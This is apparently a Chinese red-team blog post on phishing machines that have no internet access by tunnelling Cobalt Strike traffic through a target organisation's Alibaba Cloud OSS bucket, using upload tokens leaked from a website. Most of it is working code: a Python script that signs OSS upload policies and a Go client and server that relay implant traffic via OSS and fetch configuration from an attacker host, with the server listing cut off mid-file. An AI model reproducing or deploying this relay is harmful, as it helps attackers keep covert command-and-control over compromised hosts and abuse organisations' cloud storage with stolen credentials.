Bootstrap

阿里云oss转发上线-实现不出网钓鱼

本地实现阿里云oss转发上线,全部代码在文末,代码存在冗余

实战环境
被钓鱼机器不出网只可访问内部网络包含集团oss
实战思路
若将我们的shellcode文件上传到集团oss上仍无法上线,那么就利用oss做中转使用本地转发进行上线,先发送一个本地监听木马到钓鱼机器,再发送一个client,也就是agent到钓鱼机器,当然可以将两个写成一块发送给钓鱼受害者,server端从oss读取到数据转发至cs监听端口
具体逻辑
1.根据网站oss的上传接口,获得上传成功的返回包(通常包含泄露的oss的token,上传成功的路径及其文件名)
2.我们将返回包的json全部复制到本地为新的json文件,命名为server.json和client.json
3.server端实现上传该json文件到目标oss存储桶
4.client端下载该json文件到钓鱼机器
5.client端通过读取下载的json文件获得相应上传路径,token,进行组合实现上传本地木马127.0.0.1:17777监听的请求数据到oss文件
6.server端下载读取oss文件的数据转发到cs木马x.x.x.x:17777监听端口
7.server端上传cs返回的数据到oss文件
8.client端下载读取oss文件内容到本地木马监听端口实现木马闭环
server和client都是持续开着的并且循环进行上传下载读取功能

本地为方便演示我们使用服务器下载json文件,提取json文件中的关键信息,进行上传

首先准备好阿里云oss的SDK
https://help.aliyun.com/zh/oss/developer-reference/go-installation?spm=在这里插入图片描述
那么通过实际情况,一般上传接口是有oss的token
生成policy和signature

import os
from hashlib import sha1 as sha
import json
import base64
import hmac
import datetime
import time

# 配置环境变量OSS_ACCESS_KEY_ID。
access_key_id = 'xxxxxxx'
# 配置环境变量OSS_ACCESS_KEY_SECRET。
access_key_secret = 'xxxxxxxxxxxx'
# 将<YOUR_BUCKET>替换为Bucket名称。
bucket = 'xxxx'
# host的格式为bucketname.endpoint。将<YOUR_BUCKET>替换为Bucket名称。将<YOUR_ENDPOINT>替换为OSS Endpoint,例如oss-cn-hangzhou.aliyuncs.com。
host = 'https://xxxx.oss-cn-shanghai.aliyuncs.com'
# 指定上传到OSS的文件前缀。
upload_dir = '1029/ff.txt'
# 指定过期时间,单位为秒。
expire_time = 14400


def generate_expiration(seconds):
    """
    通过指定有效的时长(秒)生成过期时间。
    :param seconds: 有效时长(秒)。
    :return: ISO8601 时间字符串,如:"2014-12-01T12:00:00.000Z"。
    """
    now = int(time.time())
    expiration_time = now + seconds
    gmt = datetime.datetime.utcfromtimestamp(expiration_time).isoformat()
    gmt += 'Z'
    return gmt


def generate_signature(access_key_secret, expiration, conditions, policy_extra_props=None):
    """
    生成签名字符串Signature。
    :param access_key_secret: 有权限访问目标Bucket的AccessKeySecret。
    :param expiration: 签名过期时间,按照ISO8601标准表示,并需要使用UTC时间,格式为yyyy-MM-ddTHH:mm:ssZ。示例值:"2014-12-01T12:00:00.000Z"。
    :param conditions: 策略条件,用于限制上传表单时允许设置的值。
    :param policy_extra_props: 额外的policy参数,后续如果policy新增参数支持,可以在通过dict传入额外的参数。
    :return: signature,签名字符串。
    """
    policy_dict = {
        'expiration': expiration,
        'conditions': conditions
    }
    if policy_extra_props is not None:
        policy_dict.update(policy_extra_props)
    policy = json.dumps(policy_dict).strip()
    policy_encode = base64.b64encode(policy.encode())
    h = hmac.new(access_key_secret.encode(), policy_encode, sha)
    sign_result = base64.b64encode(h.digest()).strip()
    return sign_result.decode()

def generate_upload_params():
    policy = {
        # 有效期。
        "expiration": generate_expiration(expire_time),
        # 约束条件。
        "conditions": [
            # 未指定success_action_redirect时,上传成功后的返回状态码,默认为 204。
            ["eq", "$success_action_status", "200"],
            # 表单域的值必须以指定前缀开始。例如指定key的值以user/user1开始,则可以写为["starts-with", "$key", "user/user1"]。
            ["starts-with", "$key", upload_dir],
            # 限制上传Object的最小和最大允许大小,单位为字节。
            ["content-length-range", 1, 1000000],
            # 限制上传的文件为指定的图片类型
            ["in", "$content-type", ["image/jpg", "image/png","text/plain","application/octet-stream"]]
        ]
    }
    signature = generate_signature(access_key_secret, policy.get('expiration'), policy.get('conditions'))
    response = {
        'policy': base64.b64encode(json.dumps(policy).encode('utf-8')).decode(),
        'ossAccessKeyId': access_key_id,
        'signature': signature,
        'host': host,
        'dir': upload_dir
        # 可以在这里再自行追加其他参数
    }
    print(json.dumps(response))
    return json.dumps(response)

if __name__ == '__main__':
    generate_upload_params();

这样就可以使用policy和signature
这里key不能只写1029/这样的路径,后面要加文件名才能成功上传
1029/ff.txt这种,我们先手动上传试试
在这里插入图片描述
在这里插入图片描述
可以看到上传成功,然后使用go写的客户端试试上传
在这里插入图片描述

在这里插入图片描述
客户端成功上传文件到oss,并且我们的上传是循环的,
在这里插入图片描述

上传的内容为
在这里插入图片描述
从oss下载之后,可以看到文件名字是policy.txt,这是从阿里云oss下载的文件名字(也就是Content-Disposition),但存储桶上是ff.txt的名字(也就是key)
目前客户端上传功能成功,然后写客户端下载功能,服务端的代码和客户端一样除了客户端要监听127.0.0.1:17777,服务器要发送到cs的ip:17777,这样就可以了,

当完成客户端上传下载,服务端下载功能时候收到请求上线如下
在这里插入图片描述
可以看到请求转发过来了(此时只是先客户端上传监听到的数据到oss,然后服务端下载到本地转发到cs服务器),那么我们需要完成服务端上传的功能,以至于cs的返回包上传到oss上,供客户端读取
在这里插入图片描述
可以看到server端的上传包(也就是上传的cs返回的包)
此时的问题是client和server的上传文件有冲突问题,client上传太快了,server会oss检测当前文件的内容和之前的内容是否一致,client传的太快会让server认为和上一个内容一样,所以就不上传返回包请求了,在这里插入图片描述
可以看到ipconfig也可以
但是这个有个bug,就是运行client运行中间卡住了
在这里插入图片描述
最终方案,client端上传之后等待60秒,server端上传之后等待30秒,
最终代码:
client.go

package main

import (
    "bytes"
    "fmt"
    "log"
    "os"
    "path/filepath"
    "net"
    "net/http"
    "io"
    "io/ioutil"
    "encoding/json"
    "mime/multipart"
    "strings"
    "net/url"
    "time"
    "strconv"
    "encoding/base64"
    "sync"
    
    
    "github.com/google/uuid"
)

var ClientUploadData *UploadData

var previousContent string


// 定义结构体:File 结构体
type UploadData struct {
    Key                  string `json:"key"`
    SuccessActionStatus  string `json:"success_action_status"`
    ContentDisposition   string `json:"Content-Disposition"`
    XOssMetaUUID         string `json:"x-oss-meta-uuid"`
    XOssMetaTag          string `json:"x-oss-meta-tag"`
    OSSAccessKeyID       string `json:"OSSAccessKeyId"`
    Policy               string `json:"policy"`
    Signature            string `json:"Signature"`
    ActionURL            string `json:"action"`
    FileName             string `json:"file.filename"`
    FileContentType      string `json:"file.content_type"`
    FileContent          string `json:"file.content"`
}

type UploadTokenResponse struct {
    Success    interface{} `json:"success"`
    UploadData UploadData  `json:"uploadData"`
    Error      interface{} `json:"error"`
}





func startClient(bind_address string) {
    log.Println("[+]", "客户端启动成功")

    server, err := net.Listen("tcp", bind_address)
    if err != nil {
        log.Fatalln("[x]", "listen address ["+bind_address+"] failed.")
    }
    for {
        conn, err := server.Accept()
        if err != nil {
            log.Println("Accept() failed, err: ", err)
            continue
        }
        log.Println("[+]", "有客户进入:", conn.RemoteAddr())
        go process(conn)
        
    }
}

func Get(filename string) []byte {
    programDir, err := getProgramDirectory()
    if err != nil {
        log.Println("获取程序目录失败:", err)
        return nil
    }

    configFilePath := filepath.Join(programDir, filename)
    log.Println("程序目录:", programDir)
    log.Println("文件路径:", configFilePath)
    jsondate, err := readUploadTokenFromFile(configFilePath)
    if err != nil {
        log.Println("读取或解析JSON文件失败:", err)
        return nil
    }
    fileURL := jsondate.ActionURL + "/" + jsondate.Key
    log.Println("Get.fileURL:", fileURL)
    fmt.Println(fileURL)
    resp, err := http.Get(fileURL)
    if err != nil {
        log.Println("读取文件内容失败:", err)
        return nil
    }
    defer resp.Body.Close()

    content, err := ioutil.ReadAll(resp.Body)
    if err != nil {
        log.Println("读取响应体失败:", err)
        return nil
    }
    log.Println("客户端下载读到的内容:", content)
    decodedContent, err := base64.StdEncoding.DecodeString(string(content))
    if err != nil {
        log.Println("Base64解码失败:", err)
        return nil
    }

    // 输出字符串内容
    log.Println("客户端下载读到的内容base64:", string(decodedContent))
    return content
}

func renameFile(oldPath, newPath string) error {
    err := os.Rename(oldPath, newPath)
    if err != nil {
        return fmt.Errorf("无法重命名文件 %s 为 %s: %v", oldPath, newPath, err)
    }
    log.Printf("[+] 文件 %s 重命名为 %s", oldPath, newPath)
    return nil
}


func saveToFile(filename, content string) {
    err := os.WriteFile(filename, []byte(content), 0644)
    if err != nil {
        log.Println("[x]", "保存文件失败:", err)
    }
}

func getProgramDir() string {
    dir, err := os.Getwd()
    if err != nil {
        log.Println("[x]", "获取程序运行目录失败:", err)
        return "./"
    }
    return dir + "/"
}

func FileExists(filePath string) bool {
    _, err := os.Stat(filePath)
    return err == nil
}

func processContentAndSave(currentContent string) {
    var fileName string

    if strings.Contains(currentContent, "client") {
        fileName = getProgramDir() + "Send-Client11.json"
        log.Println("[+]", "判断是否存在 client 文件")

    } else if strings.Contains(currentContent, "server") {
        fileName = getProgramDir() + "Send-Server11.json"
        log.Println("[+]", "判断是否存在 server 文件")

    } else {
        log.Println("[-]", "内容既不包含 client 也不包含 server,跳过处理")
        return
    }

    log.Println("[+]", "文件名:", fileName)

    if _, err := os.Stat(fileName); os.IsNotExist(err) {
        saveToFile(fileName, string(currentContent))
        log.Println("[+]", "文件不存在,已保存为:", fileName)
    } else if err == nil {
        log.Println("[+]", "文件已存在,跳过保存:", fileName)
    } else {
        log.Println("[-]", "检查文件时发生错误:", err)
    }
}

func Getfile(filename string) (string, error) {
    defer func() {
        if r := recover(); r != nil {
            log.Printf("捕获异常:%v", r)
        }
    }()

    programDir, err := getProgramDirectory()
    if err != nil {
        return "", fmt.Errorf("failed to get program directory: %v", err)
    }

    configFilePath := filepath.Join(programDir, filename)

    jsondate, err := readUploadTokenFromFile(configFilePath)
    if err != nil {
        log.Println("读取或解析JSON文件失败:", err)
        return "", err
    }
    fileURL := jsondate.ActionURL + "/" + jsondate.Key
    log.Println("Getfile.fileURL:",fileURL)
    resp, err := http.Get(fileURL)
    if err != nil {
        log.Println("读取文件内容失败:", err)
        return "", err
    }
    defer resp.Body.Close()

    return fileURL, nil
}

func fetchFileContent(url string) (string, error) {
    resp, err := http.Get(url)
    if err != nil {
        return "", err
    }
    defer resp.Body.Close()

    body, err := ioutil.ReadAll(resp.Body)
    if err != nil {
        return "", err
    }

    return string(body), nil
}


/*func uploadFile(UploadData UploadData, filename string, fileContent string) (string, error) {
    body := &bytes.Buffer{}
    writer := multipart.NewWriter(body)

    for key, value := range UploadData.Data {
        writer.WriteField(key, value)
    }

    fileReader := strings.NewReader(fileContent)
    part, err := writer.CreateFormFile(UploadData.Name, filename)
    if err != nil {
        return "", err
    }

    _, err = io.Copy(part, fileReader)
    if err != nil {
        return "", err
    }

    writer.Close()

    req, err := http.NewRequest("POST", UploadData.ActionURL, body)
    if err != nil {
        return "", err
    }
    req.Header.Set("Content-Type", writer.FormDataContentType())

    client := &http.Client{}
    resp, err := client.Do(req)
    if err != nil {
        return "", err
    }
    defer resp.Body.Close()

    location := resp.Header.Get("Location")
    if location == "" {
        fmt.Println("No location URL found in response headers.")
    }

    return location, nil
}*/

func logRequest(req *http.Request) {
    log.Println("Request Method:", req.Method)
    log.Println("Request URL:", req.URL.String())
    log.Println("Request Headers:")
    for key, values := range req.Header {
        for _, value := range values {
            log.Printf("  %s: %s\n", key, value)
        }
    }

    // 打印请求体内容
    bodyBytes, err := io.ReadAll(req.Body)
    if err != nil {
        log.Println("Error reading request body:", err)
        return
    }
    req.Body = io.NopCloser(bytes.NewBuffer(bodyBytes)) // 恢复请求体
    log.Println("Request Body:", string(bodyBytes))
}


func uploadFile(data UploadData, filename string, fileContent string) (string, error) {
    body := &bytes.Buffer{}
    writer := multipart.NewWriter(body)

    // Write fields directly from UploadData struct
    writer.WriteField("key", data.Key)
    writer.WriteField("success_action_status", data.SuccessActionStatus)
    writer.WriteField("Content-Disposition", data.ContentDisposition)
    writer.WriteField("x-oss-meta-uuid", data.XOssMetaUUID)
    writer.WriteField("x-oss-meta-tag", data.XOssMetaTag)
    writer.WriteField("OSSAccessKeyId", data.OSSAccessKeyID)
    writer.WriteField("policy", data.Policy)
    writer.WriteField("Signature", data.Signature)


    // Create form file part for file content
    fileReader := strings.NewReader(fileContent)
    part, err := writer.CreateFormFile("file", filename)
    if err != nil {
        return "", err
    }
    

    _, err = io.Copy(part, fileReader)
    if err != nil {
        return "", err
    }

    writer.Close()

    // Create and send request

    req, err := http.NewRequest("POST", data.ActionURL, body)
    //req, err := http.NewRequest("POST", "https://xxxx.oss-cn-shanghai.aliyuncs.com", body)
    if err != nil {
        return "", err
    }
    req.Header.Set("Content-Type", writer.FormDataContentType())
    logRequest(req)
    //client := &http.Client{}
    proxyURL, _ := url.Parse("http://127.0.0.1:8083")
     if err != nil {
        return "", fmt.Errorf("invalid proxy URL: %v", err)
    }
    client := &http.Client{
        Transport: &http.Transport{
            Proxy: http.ProxyURL(proxyURL),
        },
    }
    resp, err := client.Do(req)
    if err != nil {
        return "", err
    }
    defer resp.Body.Close()
    
    location := resp.Header.Get("Location")
    if location == "" {
        fmt.Println("No location URL found in response headers.")
    }

    return location, nil
}



func findErrorLine(data []byte, offset int64) (line int, col int) {
    line = 1
    col = 1
    for i := int64(0); i < offset; i++ {
        if data[i] == '\n' {
            line++
            col = 1
        } else {
            col++
        }
    }
    return
}


/*func parseUploadToken(jsonData []byte) (UploadData, error) {
    var tokenResponse UploadTokenResponse
    err := json.Unmarshal(jsonData, &tokenResponse)
    if err != nil {
        return UploadData{}, fmt.Errorf("Error unmarshaling JSON: %v", err)
    }

    // 如果 tokenResponse.Result.UploadData.Data 本身已经是 map[string]string,直接返回
    return tokenResponse.UploadData, nil
}*/

func parseUploadToken(jsonData []byte) (UploadData, error) {
//    var tokenResponse UploadTokenResponse
    var uploadData UploadData
    err := json.Unmarshal(jsonData, &uploadData)
    if err != nil {
        return UploadData{}, fmt.Errorf("Error unmarshaling JSON: %v", err)
    }

    // 如果 tokenResponse.Result.UploadData.Data 本身已经是 map[string]string,直接返回
    log.Println("parseUploadToken.UploadData",uploadData)
    return uploadData, nil
}






func getProgramDirectory() (string, error) {
    execPath, err := os.Executable()
    if err != nil {
        return "", err
    }
    return filepath.Dir(execPath), nil
}

func readUploadTokenFromFile(filename string) (UploadData, error) {
    programDir, err := getProgramDirectory()
    if err != nil {
        return UploadData{}, fmt.Errorf("failed to get program directory: %v", err)
    }

    filename = filepath.Base(filename)
    configFilePath := filepath.Join(programDir, filename)

    data, err := ioutil.ReadFile(configFilePath)
    if err != nil {
        return UploadData{}, fmt.Errorf("failed to read file %s: %v", configFilePath, err)
    }

    uploadData, err := parseUploadToken(data)
    if err != nil {
        return UploadData{}, fmt.Errorf("failed to parse JSON from file %s: %v", configFilePath, err)
    }

    return uploadData, nil
}


func Send(name string, filename string, content string) {
    UploadData, err := readUploadTokenFromFile(name)
    if err != nil {
        fmt.Println("Error reading or parsing JSON from file:", err)
        return
    }

    _, err = uploadFile(UploadData, filename, content)
    if err != nil {
        log.Println("文件上传失败:", err)
        return
    }
}

var fileLock sync.Mutex // 定义一个文件锁


func process(conn net.Conn) {
    defer func() {
        if r := recover(); r != nil {
            log.Printf("捕获异常:%v", r)
        }
    }()

    uuid := uuid.New()
    key := uuid.String()
    defer conn.Close()
    var buffer bytes.Buffer
    _ = conn.SetReadDeadline(time.Now().Add(10 * time.Second))
    for {
        var buf [1]byte
        n, err := conn.Read(buf[:])
        if err != nil {
            log.Println("[-]", uuid, "read from connect failed, err:", err)
            break
        }
        buffer.Write(buf[:n])
        if strings.Contains(buffer.String(), "\r\n\r\n") {
            if strings.Contains(buffer.String(), "Content-Length") {
                ContentLength := buffer.String()[strings.Index(buffer.String(), "Content-Length: ")+len("Content-Length: ") : strings.Index(buffer.String(), "Content-Length: ")+strings.Index(buffer.String()[strings.Index(buffer.String(), "Content-Length: "):], "\n")]
                log.Println("[+]", uuid, "数据包长度为:", strings.TrimSpace(ContentLength))
                if strings.TrimSpace(ContentLength) != "0" {
                    intContentLength, err := strconv.Atoi(strings.TrimSpace(ContentLength))
                    if err != nil {
                        log.Println("[-]", uuid, "Content-Length转换失败")
                    }
                    for i := 1; i <= intContentLength; i++ {
                        var b [1]byte
                        n, err = conn.Read(b[:])
                        if err != nil {
                            log.Println("[-]", uuid, "read from connect failed, err", err)
                            break
                        }
                        buffer.Write(b[:n])
                    }
                }
            }
            if strings.Contains(buffer.String(), "Transfer-Encoding: chunked") {
                for {
                    var b [1]byte
                    n, err = conn.Read(b[:])
                    if err != nil {
                        log.Println("[-]", uuid, "read from connect failed, err", err)
                        break
                    }
                    buffer.Write(b[:n])
                    if strings.Contains(buffer.String(), "0\r\n\r\n") {
                        break
                    }
                }
            }
            log.Println("[+]", uuid, "从客户端接受HTTP头完毕")
            break
        }
    }
    b64 := base64.StdEncoding.EncodeToString(buffer.Bytes())
    Send("Send-Client.json", key+"client.zip", b64)
    log.Println("[+]发送成功")

    log.Println("文件上传完成,暂停60秒...")
    time.Sleep(60 * time.Second) // Pause for 60 seconds

    
    i := 1

    for {
        i++
        time.Sleep(1 * time.Second)
        if i >= 10 {
            log.Println("[x]", "超时,断开")
            return
        }

        clientURL, err := Getfile("Send-Server.json")
        if err != nil {
            log.Println("[-]", "获取服务器文件失败:", err)
            return
        }
        log.Println("[-]", "process.clientURL:", clientURL)
        currentContent, err := fetchFileContent(clientURL)
        if err != nil {
            log.Println("[-]", "获取客户端文件失败:", err)
            return
        }


        if strings.TrimSpace(currentContent) != strings.TrimSpace(previousContent) {
            /*if strings.HasPrefix(currentContent, `{"success`) {
                processContentAndSave(currentContent)
                if FileExists(getProgramDir()+"Send-Server11.json") && FileExists(getProgramDir()+"Send-Client11.json") {
                    clientNewPath := getProgramDir() + "Send-Client.json"
                    os.Remove(clientNewPath)
                    err = renameFile(getProgramDir()+"Send-Client11.json", clientNewPath)
                    if err != nil {
                        log.Fatalf("重命名 server 文件时发生错误: %v", err)
                    }
                    os.Remove(getProgramDir() + "Send-Client11.json")
                    time.Sleep(5 * time.Second)
                    serverNewPath := getProgramDir() + "Send-Server.json"
                    os.Remove(serverNewPath)
                    err = renameFile(getProgramDir()+"Send-Server11.json", serverNewPath)
                    if err != nil {
                        log.Fatalf("重命名 server 文件时发生错误: %v", err)
                    }
                    os.Remove(getProgramDir() + "Send-Server11.json")
                }
            }*/
            log.Println("[+]", "文件内容不一致,开始处理")

            previousContent = currentContent
            buff := Get("Send-Server.json")
            if buff != nil {
                log.Println("[x]", uuid, "收到服务器消息")
                time.Sleep(1 * time.Second)
                sDec, err := base64.StdEncoding.DecodeString(string(buff))
                if err != nil {
                    log.Println("[x]", uuid, "Base64解码错误")
                    return
                }
                conn.Write(sDec)
                break
            }
        } else {
            log.Println("[+]", "文件内容一致,无需处理")
            previousContent = currentContent
            buff := Get("Send-Server.json")
            if buff != nil {
                log.Println("[x]", uuid, "收到服务器消息")
                time.Sleep(1 * time.Second)
                sDec, err := base64.StdEncoding.DecodeString(string(buff))
                if err != nil {
                    log.Println("[x]", uuid, "Base64解码错误")
                    return
                }
                conn.Write(sDec)
                break
            return
        }
    }
    }
    log.Println("[+]", "发送完成")
}

func checkURLStatus(url string) bool {
    resp, err := http.Head(url)
    if err != nil {
        fmt.Printf("检查 URL 失败: %v\n", err)
        return false
    }
    defer resp.Body.Close()

    if resp.StatusCode == http.StatusOK {
        return true
    }
    fmt.Printf("URL %s 返回状态码: %d\n", url, resp.StatusCode)
    return false
}

func waitForNextHalfHour() {
    now := time.Now()
    next := now.Truncate(30 * time.Minute).Add(30 * time.Minute)
    duration := next.Sub(now)

    fmt.Printf("等待 %v 到下一个下载时间...\n", duration)
    time.Sleep(duration)
}

func downloadFile(filepath string, url string) error {
    resp, err := http.Get(url)
    if err != nil {
        return err
    }
    defer resp.Body.Close()

    out, err := os.Create(filepath)
    if err != nil {
        return err
    }
    defer out.Close()

    _, err = io.Copy(out, resp.Body)
    return err
}

func safeDownloadFile(filepath string, url string) error {
    tempFilepath := filepath + ".tmp"

    err := downloadFile(tempFilepath, url)
    if err != nil {
        return fmt.Errorf("下载失败: %w", err)
    }

    err = os.Rename(tempFilepath, filepath)
    if err != nil {
        return fmt.Errorf("替换文件失败: %w", err)
    }

    return nil
}

func timedownload() {
    execPath, err := os.Executable()
    if err != nil {
        fmt.Printf("获取程序路径失败: %v\n", err)
        return
    }
    execDir := filepath.Dir(execPath)

    filepath1 := filepath.Join(execDir, "Send-Client.json")
    filepath2 := filepath.Join(execDir, "Send-Server.json")
    
    url1 := "http://xxxxx:xx/Send-Client.json"
    url2 := "http://xxxxx:xx/Send-Server.json"
    
    fmt.Printf("检查文件1:%s\n", url1)
    if checkURLStatus(url1) {
        err = safeDownloadFile(filepath1, url1)
        if err != nil {
            fmt.Printf("下载失败: %v\n", err)
        } else {
            fmt.Println("下载成功")
        }
    } else {
        fmt.Println("URL不可用,跳过下载:", url1)
    }

    fmt.Printf("检查文件2:%s\n", url2)
    if checkURLStatus(url2) {
        err = safeDownloadFile(filepath2, url2)
        if err != nil {
            fmt.Printf("下载失败: %v\n", err)
        } else {
            fmt.Println("下载成功")
        }
    } else {
        fmt.Println("URL不可用,跳过下载:", url2)
    }

    for {
        waitForNextHalfHour()

        fmt.Printf("检查文件1:%s\n", url1)
        if checkURLStatus(url1) {
            err = safeDownloadFile(filepath1, url1)
            if err != nil {
                fmt.Printf("下载失败: %v\n", err)
            } else {
                fmt.Println("下载成功")
            }
        } else {
            fmt.Println("URL不可用,跳过下载:", url1)
        }

        fmt.Printf("检查文件2:%s\n", url2)
        if checkURLStatus(url2) {
            err = safeDownloadFile(filepath2, url2)
            if err != nil {
                fmt.Printf("下载失败: %v\n", err)
            } else {
                fmt.Println("下载成功")
            }
        } else {
            fmt.Println("URL不可用,跳过下载:", url2)
        }
    }

}


func main() {

    go timedownload()
    bind_address := "127.0.0.1:17777"
    startClient(bind_address)

}

server.go

package main

import (
    "bytes"
	"fmt"
	"log"
	"os"
	"path/filepath"
	"net"
	"net/http"
	"io"
	"io/ioutil"
	"encoding/json"
	"mime/multipart"
	"strings"
	"net/url"
	"time"
	"strconv"
	"encoding/base64"
	"sync"

)

var ClientUploadData *UploadData

var previousContent string  // 存储上一次文件内容


// 定义结构体:File 结构体
type UploadData struct {
	Key                  string `json:"key"`
	SuccessActionStatus  string `json:"success_action_status"`
	ContentDisposition   string `json:"Content-Disposition"`
	XOssMetaUUID         string `json:"x-oss-meta-uuid"`
	XOssMetaTag          string `json:"x-oss-meta-tag"`
	OSSAccessKeyID       string `json:"OSSAccessKeyId"`
	Policy               string `json:"policy"`
	Signature            string `json:"Signature"`
	ActionURL            string `json:"action"`
	FileName             string `json:"file.filename"`
	FileContentType      string `json:"file.content_type"`
	FileContent          string `json:"file.content"`
}

type UploadTokenResponse struct {
	Success    interface{} `json:"success"`
	UploadData UploadData  `json:"uploadData"`
	Error      interface{} `json:"error"`
}





func Get(filename string) []byte {
	programDir, err := getProgramDirectory()
	if err != nil {
		log.Println("获取程序目录失败:", err)
		return nil
	}

	configFilePath := filepath.Join(programDir, filename)
	log.Println("程序目录:", programDir)
	log.Println("文件路径:", configFilePath)
	jsondate, err := readUploadTokenFromFile(configFilePath)
	log.Println("jsondate:",jsondate)
	if err != nil {
		log.Println("读取或解析JSON文件失败:", err)
		return nil
	}
	fileURL := jsondate.ActionURL + "/" + jsondate.Key
	fmt.Println(fileURL)
	resp, err := http.Get(fileURL)
	if err != nil {
		log.Println("读取文件内容失败:", err)
		return nil
	}
	defer resp.Body.Close()

	content, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		log.Println("读取响应体失败:", err)
		return nil
	}
	log.Println("内容:", content)
	return content
}

func renameFile(oldPath, newPath string) error {
	err := os.Rename(oldPath, newPath)
	if err != nil {
		return fmt.Errorf("无法重命名文件 %s 为 %s: %v", oldPath, newPath, err)
	}
	log.Printf("[+] 文件 %s 重命名为 %s", oldPath, newPath)
	return nil
}


func saveToFile(filename, content string) {
	err := os.WriteFile(filename, []byte(content), 0644)
	if err != nil {
		log.Println("[x]", "保存文件失败:", err)
	}
}

func getProgramDir() string {
	dir, err := os.Getwd()
	if err != nil {
		log.Println("[x]", "获取程序运行目录失败:", err)
		return "./"
	}
	return dir + "/"
}

func FileExists(filePath string) bool {
	_, err := os.Stat(filePath)
	return err == nil
}

func processContentAndSave(currentContent string) {
	var fileName string

	if strings.Contains(currentContent, "client") {
		fileName = getProgramDir() + "Send-Client11.json"
		log.Println("[+]", "判断是否存在 client 文件")

	} else if strings.Contains(currentContent, "server") {
		fileName = getProgramDir() + "Send-Server11.json"
		log.Println("[+]", "判断是否存在 server 文件")

	} else {
		log.Println("[-]", "内容既不包含 client 也不包含 server,跳过处理")
		return
	}

	log.Println("[+]", "文件名:", fileName)

	if _, err := os.Stat(fileName); os.IsNotExist(err) {
		saveToFile(fileName, string(currentContent))
		log.Println("[+]", "文件不存在,已保存为:", fileName)
	} else if err == nil {
		log.Println("[+]", "文件已存在,跳过保存:", fileName)
	} else {
		log.Println("[-]", "检查文件时发生错误:", err)
	}
}



func Getfile(filename string) (string, error) {
	defer func() {
		if r := recover(); r != nil {
			log.Printf("捕获异常:%v", r)
		}
	}()

	programDir, err := getProgramDirectory()
	log.Println("programDir:", programDir)
	if err != nil {
		return "", fmt.Errorf("failed to get program directory: %v", err)
	}

	configFilePath := filepath.Join(programDir, filename)
	log.Println("configFilePath:", configFilePath)
	jsondate, err := readUploadTokenFromFile(configFilePath)
	if err != nil {
		log.Println("读取或解析JSON文件失败:", err)
		return "", err
	}
	fileURL := jsondate.ActionURL + "/" + jsondate.Key
	log.Println("fileURL:", fileURL)
	resp, err := http.Get(fileURL)
	if err != nil {
		log.Println("读取文件内容失败:", err)
		return "", err
	}
	defer resp.Body.Close()

	return fileURL, nil
}

func fetchFileContent(url string) (string, error) {
	resp, err := http.Get(url)
	if err != nil {
		return "", err
	}
	defer resp.Body.Close()

	body, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		return "", err
	}
	log.Println(string(body))
	return string(body), nil
}


/*func uploadFile(UploadData UploadData, filename string, fileContent string) (string, error) {
	body := &bytes.Buffer{}
	writer := multipart.NewWriter(body)

	for key, value := range UploadData.Data {
		writer.WriteField(key, value)
	}

	fileReader := strings.NewReader(fileContent)
	part, err := writer.CreateFormFile(UploadData.Name, filename)
	if err != nil {
		return "", err
	}

	_, err = io.Copy(part, fileReader)
	if err != nil {
		return "", err
	}

	writer.Close()

	req, err := http.NewRequest("POST", UploadData.ActionURL, body)
	if err != nil {
		return "", err
	}
	req.Header.Set("Content-Type", writer.FormDataContentType())

	client := &http.Client{}
	resp, err := client.Do(req)
	if err != nil {
		return "", err
	}
	defer resp.Body.Close()

	location := resp.Header.Get("Location")
	if location == "" {
		fmt.Println("No location URL found in response headers.")
	}

	return location, nil
}*/

func logRequest(req *http.Request) {
	log.Println("Request Method:", req.Method)
	log.Println("Request URL:", req.URL.String())
	log.Println("Request Headers:")
	for key, values := range req.Header {
		for _, value := range values {
			log.Printf("  %s: %s\n", key, value)
		}
	}

	// 打印请求体内容
	bodyBytes, err := io.ReadAll(req.Body)
	if err != nil {
		log.Println("Error reading request body:", err)
		return
	}
	req.Body = io.NopCloser(bytes.NewBuffer(bodyBytes)) // 恢复请求体
	log.Println("Request Body:", string(bodyBytes))
}


func uploadFile(data UploadData, filename string, fileContent string) (string, error) {
	body := &bytes.Buffer{}
	writer := multipart.NewWriter(body)

	// Write fields directly from UploadData struct
	writer.WriteField("key", data.Key)
	writer.WriteField("success_action_status", data.SuccessActionStatus)
	writer.WriteField("Content-Disposition", data.ContentDisposition)
	writer.WriteField("x-oss-meta-uuid", data.XOssMetaUUID)
	writer.WriteField("x-oss-meta-tag", data.XOssMetaTag)
	writer.WriteField("OSSAccessKeyId", data.OSSAccessKeyID)
	writer.WriteField("policy", data.Policy)
	writer.WriteField("Signature", data.Signature)


	// Create form file part for file content
	fileReader := strings.NewReader(fileContent)
	part, err := writer.CreateFormFile("file", filename)
	if err != nil {
		return "", err
	}
	

	_, err = io.Copy(part, fileReader)
	if err != nil {
		return "", err
	}

	writer.Close()

	// Create and send request

	req, err := http.NewRequest("POST", data.ActionURL, body)
	//req, err := http.NewRequest("POST", "https://xxx.oss-cn-shanghai.aliyuncs.com", body)
	if err != nil {
		return "", err
	}
	req.Header.Set("Content-Type", writer.FormDataContentType())
	logRequest(req)
	//client := &http.Client{}
	proxyURL, _ := url.Parse("http://127.0.0.1:8083")
	 if err != nil {
        return "", fmt.Errorf("invalid proxy URL: %v", err)
    }
	client := &http.Client{
		Transport: &http.Transport{
			Proxy: http.ProxyURL(proxyURL),
		},
	}
	resp, err := client.Do(req)
	if err != nil {
		return "", err
	}
	defer resp.Body.Close()
	
	location := resp.Header.Get("Location")
	if location == "" {
		fmt.Println("No location URL found in response headers.")
	}

	return location, nil
}



func findErrorLine(data []byte, offset int64) (line int, col int) {
	line = 1
	col = 1
	for i := int64(0); i < offset; i++ {
		if data[i] == '\n' {
			line++
			col = 1
		} else {
			col++
		}
	}
	return
}


func parseUploadToken(jsonData []byte) (UploadData, error) {
//	var tokenResponse UploadTokenResponse
	var uploadData UploadData
	err := json.Unmarshal(jsonData, &uploadData)
	if err != nil {
		return UploadData{}, fmt.Errorf("Error unmarshaling JSON: %v", err)
	}

	// 如果 tokenResponse.Result.UploadData.Data 本身已经是 map[string]string,直接返回
	log.Println("parseUploadToken.UploadData",uploadData)
	return uploadData, nil
}





func getProgramDirectory() (string, error) {
	execPath, err := os.Executable()
	if err != nil {
		return "", err
	}
	return filepath.Dir(execPath), nil
}

func readUploadTokenFromFile(filename string) (UploadData, error) {
	programDir, err := getProgramDirectory()
	if err != nil {
		return UploadData{}, fmt.Errorf("failed to get program directory: %v", err)
	}

